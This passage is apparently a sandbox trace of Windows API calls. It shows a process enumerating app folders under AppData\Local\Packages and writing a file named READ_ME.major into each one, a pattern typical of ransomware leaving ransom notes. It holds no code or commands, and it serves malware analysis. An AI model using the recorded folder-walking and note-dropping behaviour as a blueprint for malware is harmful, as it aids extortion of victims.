lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x233ecec7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x233ecec7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x23412ae2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0189.669] FindNextFileW (in: hFindFile=0x660db0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74ba56ed, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf2331d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x74ba56ed, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0189.669] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x914 [0189.670] WriteFile (in: hFile=0x914, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.671] CloseHandle (hObject=0x914) returned 1 [0189.671] FindNextFileW (in: hFindFile=0x660db0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74bcb92d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcfcdeeec, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xcfcdeeec, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0189.671] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x914 [0189.688] WriteFile (in: hFile=0x914, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.689] CloseHandle (hObject=0x914) returned 1 [0189.689] FindNextFileW (in: hFindFile=0x660db0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcffd9e09, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xcffd9e09, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xcffd9e09, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0189.689] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x914 [0189.690] WriteFile (in: hFile=0x914, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.691] CloseHandle (hObject=0x914) returned 1 [0189.691] FindNextFileW (in: hFindFile=0x660db0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74ba56ed, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf2c54cb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x74ba56ed, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0189.691] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x914 [0189.691] WriteFile (in: hFile=0x914, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.692] CloseHandle (hObject=0x914) returned 1 [0189.692] FindNextFileW (in: hFindFile=0x660db0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74ba56ed, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf2c54cb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x74ba56ed, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0189.692] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7659308d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xddff7455, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x23412ae2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660f30 [0189.692] FindNextFileW (in: hFindFile=0x660f30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7659308d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xddff7455, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x23412ae2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0189.692] FindNextFileW (in: hFindFile=0x660f30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7662ba0f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x366f55bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x366f55bd, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0189.692] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918 [0189.693] WriteFile (in: hFile=0x918, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.694] CloseHandle (hObject=0x918) returned 1 [0189.694] FindNextFileW (in: hFindFile=0x660f30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765df54b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf746fc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x765df54b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0189.695] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918 [0189.696] WriteFile (in: hFile=0x918, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.697] CloseHandle (hObject=0x918) returned 1 [0189.697] FindNextFileW (in: hFindFile=0x660f30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765df54b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf74778d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x765df54b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0189.697] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918 [0189.697] WriteFile (in: hFile=0x918, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.698] CloseHandle (hObject=0x918) returned 1 [0189.698] FindNextFileW (in: hFindFile=0x660f30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7659308d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf06a22a2, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0xf06a22a2, ftLastWriteTime.dwHighDateTime=0x1d327e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0189.698] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918 [0189.702] WriteFile (in: hFile=0x918, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.703] CloseHandle (hObject=0x918) returned 1 [0189.703] FindNextFileW (in: hFindFile=0x660f30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23412ae2, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x23412ae2, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x23412ae2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0189.703] FindNextFileW (in: hFindFile=0x660f30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765b92ef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd013c79b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x765b92ef, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0189.703] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918 [0189.704] WriteFile (in: hFile=0x918, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.705] CloseHandle (hObject=0x918) returned 1 [0189.705] FindNextFileW (in: hFindFile=0x660f30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765df54b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x712cc700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x712cc700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0189.705] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918 [0189.708] WriteFile (in: hFile=0x918, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.708] CloseHandle (hObject=0x918) returned 1 [0189.709] FindNextFileW (in: hFindFile=0x660f30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddb58b47, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xddb58b47, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xddb58b47, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0189.709] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918 [0189.709] WriteFile (in: hFile=0x918, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.710] CloseHandle (hObject=0x918) returned 1 [0189.711] FindNextFileW (in: hFindFile=0x660f30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765b92ef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd01a8a59, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x765b92ef, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0189.711] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918 [0189.711] WriteFile (in: hFile=0x918, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.712] CloseHandle (hObject=0x918) returned 1 [0189.712] FindNextFileW (in: hFindFile=0x660f30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765b92ef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd01a8a59, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x765b92ef, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0189.712] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdade5d03, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x23412ae2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6609f0 [0189.712] FindNextFileW (in: hFindFile=0x6609f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdade5d03, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x23412ae2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0189.712] FindNextFileW (in: hFindFile=0x6609f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8156d87b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x36b47a04, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x36b47a04, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0189.713] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x91c [0189.723] WriteFile (in: hFile=0x91c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.724] CloseHandle (hObject=0x91c) returned 1 [0189.724] FindNextFileW (in: hFindFile=0x6609f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814fb197, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x36b93ea6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x36b93ea6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0189.725] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x91c [0189.725] WriteFile (in: hFile=0x91c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.726] CloseHandle (hObject=0x91c) returned 1 [0189.727] FindNextFileW (in: hFindFile=0x6609f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd04837c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x814d4f06, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0189.727] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x91c [0189.727] WriteFile (in: hFile=0x91c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.728] CloseHandle (hObject=0x91c) returned 1 [0189.728] FindNextFileW (in: hFindFile=0x6609f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x1edc172b, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x1edc172b, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0189.728] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x91c [0189.729] WriteFile (in: hFile=0x91c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.732] CloseHandle (hObject=0x91c) returned 1 [0189.732] FindNextFileW (in: hFindFile=0x6609f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23412ae2, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x23412ae2, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x23412ae2, 